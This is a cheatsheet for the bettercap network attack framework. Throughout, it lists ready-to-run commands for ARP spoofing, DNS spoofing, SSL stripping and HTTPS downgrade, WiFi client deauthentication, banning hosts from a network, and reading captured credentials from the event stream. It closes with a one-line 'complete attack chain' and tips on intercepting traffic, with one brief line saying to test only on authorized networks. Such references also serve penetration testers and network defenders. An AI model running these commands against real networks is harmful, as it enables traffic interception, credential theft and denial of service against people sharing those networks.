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bettercap Cheatsheet

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bettercap is a powerful network attack and monitoring framework. It can perform ARP spoofing, DNS spoofing, credential harvesting, and various network attacks.

Starting bettercap

  • bettercap - Start interactive session
  • bettercap -iface <interface> - Specify network interface
  • bettercap -eval "cmd1; cmd2" - Execute commands
  • bettercap -caplet <file> - Load caplet file
  • sudo bettercap - Start with root (required for most features)

Core Commands

  • help - Show help
  • help <module> - Help for specific module
  • active - Show active modules
  • info - Show session info
  • version - Show version
  • exit / quit - Exit bettercap

Network Discovery

  • net.probe on - Start network discovery
  • net.probe off - Stop network discovery
  • net.show - Show discovered hosts
  • net.recon on - Enable network recon
  • net.recon off - Disable network recon
  • set net.recon.sort true - Sort hosts by response time

ARP Spoofing

  • arp.spoof on - Start ARP spoofing
  • arp.spoof off - Stop ARP spoofing
  • arp.spoof.internal true - Spoof internal traffic
  • arp.spoof.targets <ip> - Set target IP
  • arp.spoof.targets <ip1,ip2> - Set multiple targets
  • arp.spoof.fullduplex true - Full duplex mode
  • arp.ban on - Ban targets from network
  • arp.ban off - Stop banning targets

DNS Spoofing

  • dns.spoof on - Start DNS spoofing
  • dns.spoof off - Stop DNS spoofing
  • dns.spoof.hosts <domain> - Spoof specific domain
  • dns.spoof.hosts "example.com->192.168.1.100" - Redirect domain to IP
  • set dns.spoof.all true - Spoof all DNS queries
  • set dns.spoof.domains "example.com,test.com" - Spoof multiple domains

HTTP/HTTPS Proxy

  • http.proxy on - Start HTTP proxy
  • http.proxy off - Stop HTTP proxy
  • set http.proxy.port 8080 - Set proxy port (default 8080)
  • set http.proxy.sslstrip true - Enable SSL strip
  • https.proxy on - Start HTTPS proxy
  • https.proxy off - Stop HTTPS proxy
  • set https.proxy.port 8083 - Set HTTPS proxy port
  • set https.proxy.sslpem /path/to/cert.pem - Set SSL certificate

Credential Harvesting

  • http.server on - Start HTTP server
  • set http.server.path /path/to/files - Set server path
  • set http.server.port 80 - Set server port
  • hstshijack/hstshijack - HTTPS downgrade attack

WiFi Operations

  • wifi.recon on - Start WiFi reconnaissance
  • wifi.recon off - Stop WiFi reconnaissance
  • wifi.show - Show discovered access points
  • wifi.deauth <ap> - Deauthenticate clients
  • wifi.assoc <ap> - Associate with access point

Event Logging

  • events.stream on - Start event stream
  • events.stream off - Stop event stream
  • events.show - Show captured events
  • events.clear - Clear events
  • events.ignore <filter> - Ignore events matching filter
  • events.feed <file> - Feed events to file

Caplets

  • caplets.update - Update caplets
  • caplets.show - List available caplets
  • caplet <name> - Load caplet

Common Examples

Basic ARP Spoofing

bettercap -iface eth0
# In bettercap prompt:
net.probe on
arp.spoof on
set arp.spoof.targets 192.168.1.100

DNS Spoofing

bettercap -iface eth0
# In bettercap prompt:
dns.spoof on
set dns.spoof.hosts "example.com->192.168.1.100"

HTTP Proxy

bettercap -iface eth0
# In bettercap prompt:
http.proxy on
set http.proxy.sslstrip true

WiFi Recon

bettercap -iface wlan0
# In bettercap prompt:
wifi.recon on
wifi.show

Complete Attack Chain

bettercap -iface eth0 -eval "net.probe on; arp.spoof on; dns.spoof on; http.proxy on; https.proxy on"

Ban Target from Network

bettercap -iface eth0
# In bettercap prompt:
arp.ban on
set arp.ban.targets 192.168.1.100

Load Caplet

bettercap -caplet caplets/http-ui.cap

Tips

  • Always run bettercap with sudo for full functionality
  • Use net.probe to discover hosts before attacks
  • Combine ARP spoofing with HTTP proxy for traffic interception
  • Use DNS spoofing to redirect domains to attacker-controlled servers
  • Enable SSL strip to intercept HTTPS traffic (HTTP downgrade)
  • Use caplets for common attack scenarios
  • Check events stream for captured credentials and data
  • Use arp.ban to effectively disconnect targets from network
  • Always test on authorized networks only
  • WiFi operations require monitor mode interface

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